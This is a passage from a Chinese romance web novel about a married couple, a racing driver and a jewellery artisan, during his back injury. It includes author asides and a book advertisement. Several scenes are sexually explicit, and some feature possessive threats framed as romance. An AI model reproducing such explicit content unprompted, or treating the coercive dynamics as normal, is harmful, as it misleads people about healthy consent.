今早窗外阳光透进来时落地窗前的小姑娘软伏在地毯上像坏掉的布娃娃如雪的大月退内侧格外红洇满了zhang印一双水眸纯得无辜任谁看了都要眼红。
傅蔺征抱她去清洗出来时给她涂药容微月气得忍不住踹他细踝就被他抓住他侧首吻着带着热气嗓音沙哑:“宝宝还敢踹我?”
她踹他都能让他shuang。
小姑娘气鼓鼓不想搭理他了就没见过这种傅蔺征把她搂在怀中淡淡揶揄:“不就刚刚让你失/禁了么至于这么生气?宝宝明明很漂亮。”
“……”她羞得捂住他的嘴气得赶紧想把这人赶去沪市。
她抓着他领带“我才不想你呢。”
傅蔺征勾唇笑得浑坏:“装什么?明明很想。”
容微月轻哼一声垫脚主动吻上他男人很快反客为主扣住她后脑勺依依不舍吻着她。
末了她面颊烧红轻推开他傅蔺征低低呼吸着滚热黑眸直直盯着她嗓音哑然:
“宝宝我会很想你。”
她心头如淋了糖霜“我也会的……”
换做是去年这时候她怎么会预料到她和傅蔺征重逢了结婚了如今日日蜜里调油。
她转头叫呼呼:“宝贝过来爸爸要走了你赶紧来送送他。”
呼呼像是听懂了一般松开口中的小麻雀哒哒哒跑过来也乖乖地用脑袋蹭蹭傅蔺征的裤脚表达思念。
傅蔺征扯唇摸了摸它的头“还算有点良心行了我走了。”
他拎着行李容微月和呼呼送他到门口
唉没事过几天他也回来了……
几个小时后傅蔺征就落地了沪市立刻投入训练。
这两天容微月也在处理工作合作激增而且最近还有好几个《霜雪吟》的演员都来联系她定制饰品。
她和傅蔺征的关系曝光后也在剧组引起了轰动从制片到演员到工作人员全都呆住了大家没想到容微月如此深藏不露明明是大老板娘但丝毫没有架子一直以饰品制作方的身份和大家相处平日里温柔又和善。
当初那
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些对她不屑一顾、连话
你的朋友正在书荒,快去帮帮他吧
都懒得搭上一句的人现在后悔万分,很多人都过来想和她处好关系,容微月也心里清楚,人性都是如此,也就淡然处之,不远不近,以平常心对待。
只有女一号高黎,当初对方帮了她,她一直记在心里,加之业务能力和人品都好,她也在傅蔺征面前美言几句,傅蔺征说,明恒接下来会和高黎有更多合作的机会。
高黎也没想到当初善意之举能换来美好的前程,也很感激容微月。
她忙着,另一头,傅蔺征在沪市第三天的时候,也发生了个小意外——
他在下午的体能训练时,主动加练了杠铃硬拉、旋转拉力绳的负重核心训练想提升腰腹力量,但连续几天的重训练已经让身体压力倍增,热身没到位,腰部猛地一抽,顿时泛开痛感。
“征哥,你没事吧??
队员们迅速过来,队医检查后判断是急性腰部肌肉拉伤,让他暂停训练,躺平冰敷止痛。
大家关心询问,傅蔺征脸色微沉,不想让人担心,只淡淡道:“小伤,不碍事。
队医给他喷了医用喷雾按摩着,傅蔺征额头滚落细汗,一言不发,队医加重手法按摩,他指节按着椅背,薄唇抿紧。
不过常年高强度训练,肌肉拉伤再常见不过,万幸没有骨骼损伤。
队医说他的伤必须要好好修养,车队里开会后决定训练取消,提前返京。
晚上,酒店的总统套房里,傅蔺征处理公事,怀裕来送文件,想到一事,汇报道:“您下午在忙的时候,嫂子打过电话,我还没把您受伤的事告诉她。
男人头也没抬,指尖敲击笔记本键盘,嗓音悠然:“当然不用告诉她,她要是知道了,肯定立马哭着从京市飞过来找我。
他太了解小姑娘了,她向来心疼他,但凡他受点小伤她都要哭鼻子。
怀裕点头:“嫂子肯定很担心。
傅蔺征感叹:“没办法,她太爱我了,你不是我,你体会不到个中滋味。
“……怀裕险些控住不住表情。
他压下唇角,想了想道:“但是征哥,您这么明显的伤,明天就回去了,嫂子见到了想瞒也瞒不了,不过她要是心疼了反而更粘着您,这不也是个好事?
傅蔺征抬眼看他一眼:“你小子还挺懂。
怀裕憨笑。
傅蔺征敲击着键盘,淡淡道:“不过我这种刚正不阿的人,会用这种幼稚的苦肉计?
怀裕:“……他确定?
第二天早晨,傅蔺征和容微月打电话时,队医在旁边给傅蔺征涂药,队医的话传到听筒里,他受伤的事还是被小姑娘知道了。
小姑娘得知果然被吓到了,担忧追问:“你受伤了?
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!你怎么不告诉我?又瞒着我?”
傅蔺征也知道她是这个反应,低笑哄她:“真的小伤,不严重。”
容微月气鼓鼓不买账,说来机场接他,要见到他才放心。
挂了电话,车里的队员们听傅蔺征那满是宠溺的语气,好奇问:“征哥,是嫂子吗?”
“嗯,”傅蔺征随意靠在座位里,一身黑夹克工装裤,长腿随性敞着,唇角微勾,懒洋洋开口:“没办法,我老婆担心我,结婚了就是比较粘我些,你们这些单身的,应该没有这样的烦恼吧?”
队员们:“……??”
这人怎么能这么嘚瑟?!
中午,飞机落地京市,傅蔺征一行人走特殊通道出去,就看到了在等候的容微月。
她一身米白色大衣和百褶裙,安静而立,柔软的黑发梳成低马尾,神色温柔淡淡,像雪中的一笔水墨,清柔干净得让人移不开目光。
傅蔺征眼底化开柔意,开口:“月月。”
容微月闻声转头看他,快步朝他小跑而来。
到他面前,容微月立刻搀扶住他,眉心紧蹙:“你没事吧?严不严重啊?”
傅蔺征揽住她,顺势靠过去,嗓音低哑:
“疼,很疼,感觉腰上像被捅了一刀,半条命都快没了,今天走路都困难呢,宝宝。”
周围队员和怀裕:???
不是还说不屑一顾用苦肉计吗?!!!!
**,这也太骚包了吧!!
周围人偏开眼全都憋笑,容微月看向怀裕,找他求证,怀裕收到大Boss投来的犀利眼神,还是老实道:
“是的嫂子,征哥这次受伤挺严重的,昨天差点去医院了,接下来都不能训练了,一定要好好静养。”
“这么严重吗?”她呆住。
傅蔺征咳嗽,自嘲道:“我都习惯了,过去这几年受伤,我都是这么一个人撑过来的。”
队员们:???这人要不要这么会演!!
容微月指尖触碰到傅蔺征后腰贴的药膏,心疼得眼眶微微发红,软声道:“没关系,我在了,那我照顾你……”
傅蔺征看她这乖乖的模样,把她搂在怀中,后悔不该这么逗她,抬手抹掉她泪花,含笑低哄:“宝贝,你再掉眼泪,大家都知道你是个小哭包了。”
她看到周围队员一脸磕到糖的表情,脸颊害羞泛红。
“走了,我们回家。”傅蔺征摸摸她的头。
“好……”
于是她搀扶着他,几人上了商务车,车上容微月看着他,眼睛红得跟小兔子似的,温软的脸埋进毛茸茸的围巾,眼神却黏在他身上,似乎有好多话想问,但周围都是人,又不好意思。
怎么能那么可爱啊。
你身边有不少朋友还没看到本章呢,快去给他们剧透吧
他知道她肯定是担心坏了,要不是有外人在,她肯定都要扑到他怀中问东问西,问他疼不疼,需不需要按摩,肯定还会和他说好爱他,以后要陪在他身边,照顾好他。
从高中开始就是这样,他一受伤她就心软,爱他爱得不行。
傅蔺征压下唇角。
哎,结婚后,她对他的爱意彻底藏不住了呢。
过了会儿,车子开到禾盛庭,打开门回到家,呼呼也过来围着两人打转。
傅蔺征坐到沙发上,容微月去给他倒了杯水,“来喝点水。”
他接过,却直接把她拉到怀中,看她眼睛还微微红着,不禁勾唇亲亲她脸颊:“这么担心我啊?”
她咬着唇,“你说呢……”
傅蔺征慵懒揶揄:“现在没外人了,不用再克制情绪了,你想抱就抱,想亲就亲,我受伤了,现在谁还能拦着你占我便宜?”
她呜了声,红唇翕动,欲言又止,傅蔺征见此揉揉她头,挑唇:“行了,憋了一路了,有好多担心的话要问我?想问就问,这次我不瞒着你。”
“都能问吗?”她咕哝看他。
他悠悠然笑:“嗯,问吧。”
他准备好接受她的撒娇和告白了。
容微月抿了抿唇,问出憋了一路的问题,软声嗫嚅:“傅蔺征,你这腰伤会影响性/能力吗?这可是你最大的优势了,你要不行了,那我以后的幸福生活可怎么办呢?”
傅蔺征:???!
〓作者有话说〓
傅蔺征:敢情我一路上自我感动感动了半天,她最担心的是这个?!!!
哈哈哈哈傅狗心已碎[眼镜][眼镜]
月月:我只是一个比较现实的人噢[垂耳兔头]
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对啦宝贝们,也给我的一本即将上市的书《最深念想》打个广告[亲亲]10.7晚上19:30开启预售,具体可以看围脖,有精美特签和超多店周赠品,希望喜欢的宝宝们可以支持呀,一本超级甜的久别重逢先婚后爱文,在专栏可以先翻翻!!大家可以去看看,呜呜呜好久没卖书了,一直卖得不好,所以现在想出版就越来越难了,暗室婚书就没能出,许愿出版社能看看我们小炽热呀[爆哭][爆哭],当然啦宝宝们喜欢可以买,不勉强,全凭心意~~[粉心]
第 62 章 “宝宝,想和你过二人世界。””...
第62章第六十二章
【“宝宝,想和你过二人世界。】
chapter62
傅蔺征听到小姑娘这话,愣了几秒才反应过来,气笑在她耳垂狠狠咬了一口,惹得她轻抖:
“容微月,敢情你一路红着眼睛回家,老子还以为你心疼我,原来是担心我不行啊?
亏他还感动了一路,还以为她憋着好多关心的话要对他说,敢情全是他自作多情了?她就担心他那方面???
他抬手扣住她下巴,整个人俯身压过去,气息覆上抢夺气息,把她亲得呜呜,眼睛弯成一对洇亮亮的小月牙:“老公……我错了……
他咬她红唇,气息沉哑:“谁错了?
“我……
“我是谁?
容微月小声撒娇,甜如糯米:“是你的小月亮呀……
真乖**,傅蔺征捏她的脸,压下薄唇轻嗤:“认错也没用,不接受道歉。
容微月搂住他脖子,眸光闪闪:“可你不觉得我很可爱吗?我这么可爱你还不原谅我?
她就是吃可爱多长大的,傅蔺征压下唇角弧度,把她抱着靠在沙发上,黑眸锐利:
“可爱归可爱,但你脑袋瓜里整天都在想什么?你老公不比你后半生的幸福重要?还这是我最大的优势,怎么,老子其他方面都不行?
“没有,老公什么方面都很厉害,最厉害啦。
“那我假设那方面真不行了,你难不成真不爱我了?
容微月咕哝:“谁知道呢,我也不敢确定。
他气息逼近:“??你再说一遍?
容微月笑颜灿烂:“逗你的,怎么可能……
真是越来越调皮欠收拾了,傅蔺征气笑:“容微月,我全记着,看我伤好了怎么收拾你,把你关起来zuo三天三夜。
“……
她面颊泛起红晕,这人常年训练出来的体力和爆发力她最清楚不过,单手就能钳住她,小小的她在他怀里动都动不了,体型差悬殊,稍微两下就要水漫金山。
傅蔺征亲她脸颊,低撩开口:“宝宝你放心,我这体力起码还能再伺候你五六十年,你每天想要多幸福都可以。
“……
那她不是幸福,是累趴了QAQ.
容微月羞得轻哼,嘴角抿出一弯小弧度:“那你现在一定要好好养伤,要是落下病根了就没有以前厉害,那我也会嫌弃你的。
“我能不能养得好,还不是得靠你?你要怎么照顾我?
她笑着,下巴搁在他胸膛看他:“那这几天你就在家好好休息,我也居家办公照顾你?给你炖点滋补的汤药,我当你的小女仆好
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不好?”
“小女仆啊?”
他指腹揉她耳垂,嗓音低浑:“那每天都穿女仆装行么?衣柜里还有好几套,你穿起来一定很好看。”
那是很好看嘛,明明对他来说是很好吃,她瘪嘴:“才没有呢,都被你撕得差不多了。”
“我前两天又买了新的,还有**鞭子那些,到货了就都试试,嗯?”
这人坏**,平日里这些就没少买,容微月面颊被他染红,眼巴巴看着他,揶揄:“那你到时候光看不能吃,热狗不得热得爆汁了?”
傅蔺征气息更沉,浑得吻她侧颈,“宝宝帮忙接住就好了?”
热狗老板每次要做清仓活动,都会叫她这个忠实顾客过来关顾,她胃口好的时候能一口气连续吃好几根芝士烤肠,完全不腻。
容微月就没见过光天化日之下怎么大胆的,“傅蔺征,你能不能别那么流氓……”
“这话题不是你提的?”傅蔺征轻笑她,“芒果糯米糍。”
“……”
糯米糍待不下去了,起身推开他的胸膛,娇嗔又带点气:“不管你了!”
她抱着呼呼就要溜,傅蔺征挑眉:“诶,不扶我回房间休息啊?”
她傲娇轻哼:“不管你,自生自灭吧。”
看着小兔子逃走,傅蔺征无奈勾起唇角。
-
回到京市的这个下午,傅蔺征也正式进入了养伤模式,容微月也没舍得让他自生自灭,都尽可能陪着他。
下午傅蔺征请来了中医馆的彰叔上门,这也不是第一次了,傅蔺征常年训练经常受伤,彰叔熟练地给他热敷、拔罐,交代:“连续热敷几天,注意休息,别再运动了,问题不大。”
傅蔺征应下。
拔完罐后,彰叔离开,傅蔺征半躺在沙发上一边处理工作,呼呼许是看出来他受伤,也不再欺负他,就乖乖窝在爸爸手边,任由他把它毛茸茸的脑袋柔成一团**球。
晚上,容微月查了菜谱,下厨煮了几道菜,红烧牛腩、辣蛏炒蛋、清炒菠菜和鲍鱼猪肚汤。
傅蔺征在餐桌前坐下,看到桌面上热气腾腾的几道,挑眉:“煮这么丰盛?”
“哪里丰盛啦,就三菜一汤。”
“已经很多了,”傅蔺征搂住她,“宝贝下次别那么辛苦,点外卖我又不是不能吃。”
他不舍得他的宝贝下厨房,生怕她哪里烫了切了受伤了,而且也很劳累,这些在他眼里都是他的活。
容微月弯眉:“没事,平时都是你做饭,你受伤了我也想照顾你嘛,吃外卖多不健康。”
她把筷子递给他,“快尝尝,我自己都还没吃。”
“一定很好吃。”傅蔺征道。
两人一起夹了红烧牛腩
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容微月嚼了几口脸色垮了:“感觉炖得不够久有点难嚼还咸了……”
傅蔺征笑:“没有啊我就爱吃这种有嚼劲的不咸很下饭。”
又吃了炒菠菜容微月想哭:“我盐放少了这碗又太淡了……”
“很好吃青菜吃清淡点味道正正好。”
每道菜她觉得都不太完美但傅蔺征都是连连夸赞而且吃得格外香一点都不像装出来的给足她信心和肯定她脸红咕哝:“傅蔺征我是不是做什么你都捧场啊?有点像我的无脑吹。”
傅蔺征吊儿郎当道:“我老婆做什么都好吃而且我就是喜欢吃怎么了?”
而且他以前都没机会吃现在有她给他做饭就很幸福了。
傅蔺征还拍下来发到了八人群里:【@全体成员我受伤后月月给我做的病号饭你们说有老婆就是这么幸福的么?我也是第一次体会到呢。】
另外六人:……??
能冲过去揍这人吗?
殷绿都羡慕:【傅蔺征你也太有口福了我要是男的就截你的胡把月月追到手了!】
夏千棠:【哈哈哈哈我也是太嘚瑟了啊!】
付则承:【身为医生我建议你这段饮食要清淡些这些高蛋白高胆固醇的菜都不适合吃我勉为其难帮你消灭掉寄我地址我签收谢谢。】
夏斯礼:【月月你可别对这人太好了他哪里就受多严重的伤了??苦肉计一套一套的就是想博取你同情!】
湖安:【+1这人太嘚瑟了真想打他一顿。】
其他人纷纷同意傅蔺征拽懒笑道:【欢迎你们来群殴我我要受伤了月月就要更心疼了呢。】
几人:……叉出去把这人叉出去!
容微月笑着在群里道:【阿征他腰受伤了最近给他补补。】
殷绿:【哎呦腰受伤了?[坏笑]】
夏斯礼:【哈哈哈阿征你这身体也不太行啊年纪轻轻腰就不行了??】
夏千棠:【估计是平时太累了哈哈哈傅蔺征你要保重自己的身体男人腰不行了人就真的不行了。】
付则承:【阿征我给你买两盒汇源肾宝片。】
傅蔺征脸黑敲下一行字:【我是训练时肌肉拉伤了你们瞎扯什么?】
夏斯礼:【阿征
殷绿:【不用强撑懂都懂。】
湖安:【不用强撑懂都懂。】
……
六人齐刷刷的一排傅蔺征见此看向身旁的小姑娘:“容微月你不帮我上去解释下你老公都被人泼脏水了你不管?”
容微月笑个不停:“解释就是掩饰不用强撑懂都懂。
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傅蔺征眼底漫开笑意,把她抓过来,“行,容微月,你给老子等着。
看他腰伤好了不收拾她。
闹归闹,最后傅蔺征消灭了所有的菜,甚至觉得还不够吃,容微月哭笑不得,说明天再给他做。
饭后傅蔺征去工作,容微月也去书房,今晚她有直播,之前答应给粉丝们演示几个花丝的掐法。
灯光柔和,镜头前,她穿着一身素白的苏绣长裙,梨木发簪绾起长发,浅施粉黛,顾盼生辉,朝镜头弯起红唇,声线温柔:“大家晚上好。
弹幕瞬间刷屏:【姐姐晚上好,蹲好久了!】
【啊啊啊月月今晚好美!】
【一进来就是美颜暴击,打工牛马累了一天,突然被治愈了。】
【等好久了,又来看老婆做花丝镶嵌了。】
观众们涌进直播间,很快在线观看人数就到了六位数,容微月笑着和他们互动,随后开始掐花丝。
镜头里,她动作细致,神情专注,娓娓给大家讲解着花丝镶嵌的历史,直播间人数也节节攀升:
【每次看姐姐做花丝,都会被这个技艺美到,被带入坑了,我自己也开始玩花丝了。】
【这年头愿意坚守传承非遗的很少了,给主播点赞,人和饰品都很美。】
【对这种手工艺不太感兴趣,但是不知道为什么就是喜欢看主播,挂在旁边听着也很舒服,其他直播间咋咋呼呼的,表情还特夸张,但是这里就不会,弹幕氛围也很好。】
【好喜欢听月月聊天,三观正有谈吐,说的话还很有内涵,不愧是高材生。】
【之前以为她是花瓶,来看直播后改观了,不骄不躁。】
容微月做完花丝,和大家闲聊,半晌书房门被敲了敲,傅蔺征推门进来,手里拿着杯温牛奶,到她书桌旁边,嗓音低沉:“宝宝直播完了么?
她走出镜头到他面前,“嗯,快了。
傅蔺征搂住她,嗓音沉沉低撩耳畔:“那什么时候能和我回去睡觉?或者你先吃点东西,我在旁边陪着你?
她羞赧,“那你等会儿……
她走回镜头前,直播间里的弹幕已经炸锅了:
【啊啊是傅蔺征吗!听到他是声音了,那声“宝宝太苏了!!】
【原来世界冠军赛车手竟然私底下管老婆叫宝宝,磕到了好甜哈哈哈!】
【小夫妻有什么话是我们网友不能听的[狗头]别躲了傅总,出来说。】
【想看傅蔺征出镜!!】
容微月看到弹幕好多人都在叫,她腼腆转头看向傅蔺征:“他们想看你,你要不要坐到我旁边来?
男人闻言,偏眼勾唇,“我还怪不好意思的呢。
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还不好意思呢,嘴角都快咧到耳后根了。
“那你出去吧,别坐了。”
??
傅蔺征脸黑立刻过来,把她一把抱到怀中,牢牢锁住,极近亲昵。
只见镜头里,傅蔺征一身黑色毛衣,肩膀线条利落,慵懒又帅气,那张脸如雕刻般,眉眼深邃,松弛感和侵略感并存,在镜头前都无死角,帅得没几个男星可比。
而他怀里的容微月,素白长裙垂落,神色温柔如水,像只小猫咪一样乖软。
两人一个温婉清柔,一个痞拽张扬,反差极致强烈却格外般配。
弹幕激动**:【救命,这俩人的颜值也太犯规了!!京圈顶级神颜夫妇!!】
【这个抱怀中的姿势谁懂!让我想到了傅蔺征把月月抵在车前亲的画面了,莫名好涩。】
【这体型差绝了,他俩都吃太好了,都能想新到傅蔺征按着月月横冲直撞该有多凶了[害羞]】
【完了,我脑中已经弥补了许多不干净的画面了,傅蔺征一看就是谷欠望不低的那种,月月那么瘦能承受得住吗[坏笑]】
【这俩人在床上不知道有多幸福,俩人声音还好听。】
【评论区已经开始裤衩子乱飞了哈哈哈!】
【话说你俩不能真的为了我去拍一部电影吗,什么时候内娱的偶像剧主角能有这颜值!】
弹幕里已经嗑生嗑死,观看人数瞬间飙升到达了七位数,傅蔺征低沉开口:“大家好,我是傅蔺征,月月的老公。”
【不介绍自己是F1世界冠军,说自己是月月老公!!傅蔺征你别太爱了。】
【俩人看对方眼里都是爱意!】
【姐妹们,我磕疯了!!】
容微月脸上染上薄红,怪不好意思的,“傅蔺征,不然你还是出去吧?你这一来我直播间,评论区都乱了。”
男人笑,“大家说的不都是实话,你想到什么了,脸怎么那么红啊?”
【哈哈哈打情骂俏好甜!】
【拜托了你俩能不能亲一个,我想看!】
傅蔺征唇角弧度明显:“镜头前不行,月月很害羞,等会儿关掉直播间我再亲。”
【啊啊啊**!!太苏了!】
【你确定直播结束后只是亲亲吗[狗头]傅蔺征一看就不是个性冷淡的。】
【对,他一看就很猛:)】
容微月羞赧让大家注意尺度,过了会儿呼呼也跑进来,容微月把呼呼抱起来,傅蔺征的粉丝们都知道呼呼是个傲娇认生的狗狗,但只见小家伙一股脑钻进容微月怀中,和她蹭蹭,看过去好亲近。
傅蔺征解释:“呼呼是我和月月高中时候养的,最早就是月月喜欢它。”
【原来月月是亲妈?所以是
你身边有不少朋友还没看到本章呢,快去给他们剧透吧
傅蔺征分手后一直养着他们的狗狗吗?!】
【傅神提到老婆满脸都是骄傲的样子哈哈哈。】
容微月弯眉:“我本来也以为要见不到呼呼了是傅蔺征一直照顾着。”
弹幕里有人问容微月呼呼和傅蔺征谁更可爱容微月思考着傅蔺征扯唇:“容微月你慎重回答啊我连你儿子都比不过了?”
弹幕笑个不停容微月弯唇:“是呼呼可爱你更帅行了吧?”
傅蔺征唇角挑起大家说容微月一句话把他钓成了翘嘴弹幕也有来带节奏的:【这女的到底哪里好了值得男的喜欢六年舔狗吧?】
很多弹幕立刻怼过去傅蔺征搂住容微月语气懒散却锐利:“我老婆的好需要你评判么?还有我当我老婆的舔狗不行?”
【傅总护妻怼得好爽!】
【什么毛病啊人家深情专一一直喜欢一个人就叫舔狗了难道花花公子就叫好?】
容微月也认真道:“大家可以表达不同观点但我不接受人身攻击如果再出现这种言论我会直接拉黑还有请不要侮辱我先生——他是一个非常好的人。”
俩人互相维护直播间的粉丝们也支持聊了会儿傅蔺征看了眼时间嗓音低低:“宝宝是不是该下播了?想和你过二人世界了。”
弹幕起哄笑说要看容微月被逗得脸颊绯红也见时间已晚笑着和大家告别:“今晚就到这儿啦下次再和大家见。”
观众们纷纷道别末了她关了直播转头看向傅蔺征娇软控诉:“傅蔺征你怎么那么说……”
男人抬手圈住她神情慵懒:“怎么我说错了?我只是觉得镜头前不自在我们俩单独相处不就是二人世界?”
他笑:“你以为的二人世界是什么?老子腰都受伤了你还在想着那档子事儿容微月你心思怎么这么不单纯啊?”
“……”
她面颊泛红说不过他羞得咬了口喉结“不理你了才不和你过二人世界。”
刚想转身却被他一把拉回
这人就知道卖惨……
她无奈莞尔把他搀扶起来“行管你。”
两人回到卧室傅蔺征懒声道:“帮我洗澡。”
“啊?”
他侧身圈住她嗓音低旋入耳:“宝宝我都没办法弯
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腰怎么洗?万一摔倒了怎么办?你不陪我一起么?还有我手也疼也没力气洗**。”
???
听到那两个字她耳根骤然红了就猜到他肯定不会放过这个环节发现被
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他死死搂着,又羞又气,“傅蔺征,你这叫没力气?”
“反正你得帮我。”
她杏眸一转,想到什么,狡黠道:“好吧,那你先进去,我去拿换洗衣物。”
傅蔺征应下,走去浴室,褪下毛衣放在了脏衣篮,露出精壮的胸膛和沟壑分明的公狗腰,灯光在肌理上流淌。
等了会儿,浴室门被推开,他看过去,视线骤然一滞——
小姑娘走进来,只穿着一身薄如蝉翼的黑白蕾短裙,脖子上戴了个蝴蝶结项圈,低领口系着蝴蝶结,勾勒瓷白细腻的锁骨,红痣惹眼。
腰窝被丝带勾勒,柳叶腰不及盈盈一握,两条长腿在灯光下光影流转,萸儿隐现。
这是前段时间他给她买的,今晚第一次在他面前穿。
一瞬间傅蔺征黑眸暗下,胸腔的热气几乎要炸裂。
容微月走到他面前,抬眸含笑:“老公,开始洗澡吧。”
傅蔺征咬牙忍不住爆了句粗口,下一刻把她抱起来走进去,按在瓷砖上,黑眸爆热:
“帮我洗个澡,要穿成这样么?非要故意来勾我是吧?”
容微月心跳如鼓,不禁笑:“傅蔺征,你快放我下来,等会儿你腰疼了……”
傅蔺征指腹掐住她下巴,咬她唇:“心疼我腰,还敢这么穿?”
到底怕他受伤,她赶紧从他怀中挣脱下来,眉眼弯弯,双臂抬起圈住他脖子:“我惹你怎么了,你现在什么都做不了。”
他眼底沉沉,“挑衅我?”
“那你腰伤本来就严重啊,而且我就是随便换了一套而已,是你自己自制力不够强。”
如鱼的掌心四处游曳,他嗓音低哑:“面对你我有自制力么?”
她笑意狡黠:“傅蔺征,你腰都受伤了,还在想着那档子事儿,你心里怎么这么不单纯啊?”
行,还敢原话来呛他了。
傅蔺征扯起唇角,把她往怀中压得更紧,宽大的身躯如墙笼罩下来:“老子对你什么时候单纯过?每天想的都是该怎么…你,在哪个地点,哪个方式,你以为等我好了你不需要加倍奉还?”
容微月羞:“那我到时候肯定要坏了……”
“你不就喜欢坏了?”
话音落下,他打开花洒,雾气森林弥漫,水珠顺着他宽阔的肩背滚落,到达张扬的肌肉线条,再到小猫身上,睡裙被润得和她贴得更紧。
雾气很快包裹两人,模糊了界限,也模糊了呼吸。
傅蔺征的腰部因为受伤还在隐隐作痛,但他好想把她拎起来哐哐乱扌童,逼她落泪求桡,看她还敢不敢调皮。
男人扣住她后颈,看着她如云似雾的姣好面容,嗓音沉哑:“宝宝怎么这么漂亮,这么勾人。”
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容微月被他压在雾气与水光之间,心跳乱成一片:“很勾你吗……”
黑痣时近时离,塌陷蝴蝶:“你说呢?高中第一次抱住你的时候就想这样。”
她耳根如虾,“流氓……”
“面对喜欢的人,我能绅士得起来么?”
拥吻半晌,傅蔺征把她抱了出去,容微月怕他疼,软声叫他放下,男人却偏偏不听。
房间灯光极暗,只有那盏暖橘色壁灯亮着,窗外夜色倾斜而入,城市的霓虹在落地窗后变得模糊。
他沉沉呼吸,索性整个人靠坐到床头,让她顺势跌进怀里。
她趴在他怀中,黑茶色的发梢还带着洇意,呼吸糅杂,热气一点点勾在一起。
窗外的风轻轻拍打玻璃,屋内只剩下心跳与呼吸的声音。
空气一点点变热,婚戒潜入深海探游,草莓夹心的阿尔卑斯流心糖宛若被咬开,软化。
她贴在他胸膛,哭,“不要你了……”
傅蔺征黑眸沉沉,进攻性拉满,不由分说:“忍着,再吃一木艮。”
她突然后悔不该招惹傅蔺征,这人就算受伤也能折磨得了她……
她如被捞起的小鱼儿,紧紧抱着他,眼圈一点点泛红,“傅蔺征,我错了……”
“现在知道错了?刚才不是说我不行?”
他凶地吻着她,“你信不信老子腰伤也能让你把你玩晕过去?”
她委屈巴巴想跑走,傅蔺征箍住她,打了下她辟股,眼底黑眸翻滚,“还想逃去哪儿?”
她脑中如电漫过,抱着他,泪珠掉下,傅蔺征黑眸如翻滚着墨色,下一刻毫不留情,下达惩罚指令:
“宝宝,要么坐到我脸上,让我舌忝喷,要么坐上来自己摇喷,你自己选。”
〓作者有话说〓
[黄心][黄心]这两个选择可真难呢[眼镜]傅蔺征你是不是太为难我们月月了嘿嘿嘿
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久别重逢/双向暗恋/年龄差/婚后小甜文
【1】十六岁那年,檀茉初见谢祁琛,男生白衣黑裤站在香樟树下,面色清润,望向她的眼底带着温柔笑意。
她心跳如小鹿乱撞,然而对方始终把她当妹妹照顾,暗恋太酸涩,她还是选择了放弃。
多年后,当她长大,谢祁琛已然站在了名利场的中心位,传闻他在商场上手段薄情狠辣,城府
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极深,无女人可接近。
意外碰面时,旁人询问关系,她躲开某人若有若无的视线,客气疏离:“我和谢总不熟。”
男人指腹摩挲酒杯,看着她,黑眸深不见底。
她和他保持距离,直至——
因为家族利益,两人意外联姻。
那晚别墅里,她醉醺醺地拽住男人领带,奶凶道:“谢祁琛,我要亲你。”
见他不为所动,她知道他从未对她动心过,鼻尖一酸,小猫眼红红的:“不让亲就算了……”
她想走,却被用力扯进怀中,索取深吻。
一吻结束,谢祁琛抵着她额头沉沉呼吸,扯起唇角,一双直直看她的黑眸滚烫如火,觉得心酸可笑:
“檀茉,你真就感觉不到我有多爱你么?”
【2】
檀家保护大女儿,把收养的檀茉当成筹码联姻,婚后,众人说谢家公子根本不会正眼看她一眼。
某次宴会,夫妻一同出席,交谈甚少,大家唏嘘俩人果然貌合神离。
推杯换盏尾声,檀茉在室外吹风,众人只见先前众人攀附、沉冷难近的男人上前,温润的眉眼垂下,用西装外套将她护在怀中,温柔在她额间落下一吻:
“走了,谢太太,我们回家。”
后来大家才知道,在这段婚姻里,谢祁琛才是爱到入骨、至死也只想拥有她的那一个。
「人人都道谢祁琛不近女色,可没人知道他心底藏着个小姑娘,只想把她据为己有,噬骨沉沦,寸寸迷恋。」
[甜软傲娇小美人]×[超级腹黑大资本]
大概是,两个互相暗恋的人借着联姻理所当然谈恋爱的故事=v=
【婚后小剧场】
某天,檀茉看到婚前协议,朝沙发上的谢祁琛控诉:“某些人还说是商业联姻,其实目的不纯,居心叵测。”
午后日光惬意落下,男人翻着书,语调淡然:
“嗯,是居心叵测。”
不想再藏着忍着。
只想光明正大宠你。
第 63 章 “不用吃糖,吻你就好了。”...
第63章第六十三章
【“不用吃糖,吻你就好了。”】
chapter63
只亮着一盏壁灯,橘黄色光线被厚重的窗帘半遮挡。
窗外夜色沉寂,远处鳞次栉比的大厦外幕,霓虹隔着玻璃窗户微弱闪烁,倒映在窗边深灰色的地毯上,格外朦胧。
听到傅蔺征的话,小姑娘脑中浮现那两种画面,如一滴胭红墨水晕染开纸张,她如瓷白的面容从耳根到脖子都被染了色。
“傅蔺征……”
容微月心跳如鼓,羞得说不出话,偏偏婚戒不顾压强,更多进行深海探寻作业,一边盈儿被口允,各方施压下,小猫咪只能缩在男人怀中。
她脑中如新鲜出锅的草莓麻薯,冒着热气黏成一团,红润的眸子泛起凝碧的波痕。
傅蔺征黑眸沉沉,没给她多少耐心,薄唇辗转她耳侧,吐出薄热呼吸:“嗯?选好没有?”
容微月眼尾泛红,指尖掐他肩膀,咬唇咕哝:“我、我都不选……”
讨厌死他了,两个她都好怕呜呜……
卧室的灯光暗昧,窗外夜色深浓。
今天是只调皮的小猫咪,更需要好好管教了,傅蔺征扯唇,语调更加浑坏:“行啊,既然都不选,那就只能两个都来了。”
这人……
她心口如小鼓飞速敲着,就听到傅蔺征哑声命令:“五秒之内,坐我脸上来,不然后果自负。”樾滒
小兔子已经掉进狼窝了,每处都被标记了,可就是故意要和他玩反抗:“不要……”
傅蔺征单手把她锁住,极高的身形几乎把她整个人都罩在阴影下,断眉下那双看着她的黑眸压迫得人头不过气,念想已然极烈翻滚,他贴着她的耳侧,嗓音沉哑:
“宝宝,你不想我养好伤后把你关房间里*晕过去,就乖乖听话。”
“……”这话是容微月相信的。
傅蔺征一旦疯起来,她怎么求都没用,好多次小猫咪都晕到忘记天南海北,什么时候被清洗完抱着躺下来都不知道。
她像被搅成一团的糖浆,呼吸也跟着散乱,只好乖乖照做,罕见的缅甸红尖粉翅蝶振翅欲飞,她心跳扑通扑通,娇气道:“老公……”
傅蔺征感觉头顶的那束光被遮挡,一片阴翳,男人抬手紧紧箍住她不让她乱动,近在咫尺,他滚了滚喉结,眼底赤红低声喟叹:
“宝宝,好小好粉啊。”
盛夏夜,热风拂面,湖面被卷起涟漪,蒲公英被风吹得没有重量。
一瞬间,窗外大雪纷飞,白茫茫一片,让一切如梦似幻。
出差好几天,傅蔺征晚饭时就格外喜欢小姑娘做的那碗红烧牛腩,配了好几
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碗米饭,此刻同样大快朵颐,半晌他勾唇喑哑开口:
“宝宝,它还会吐泡泡啊。”
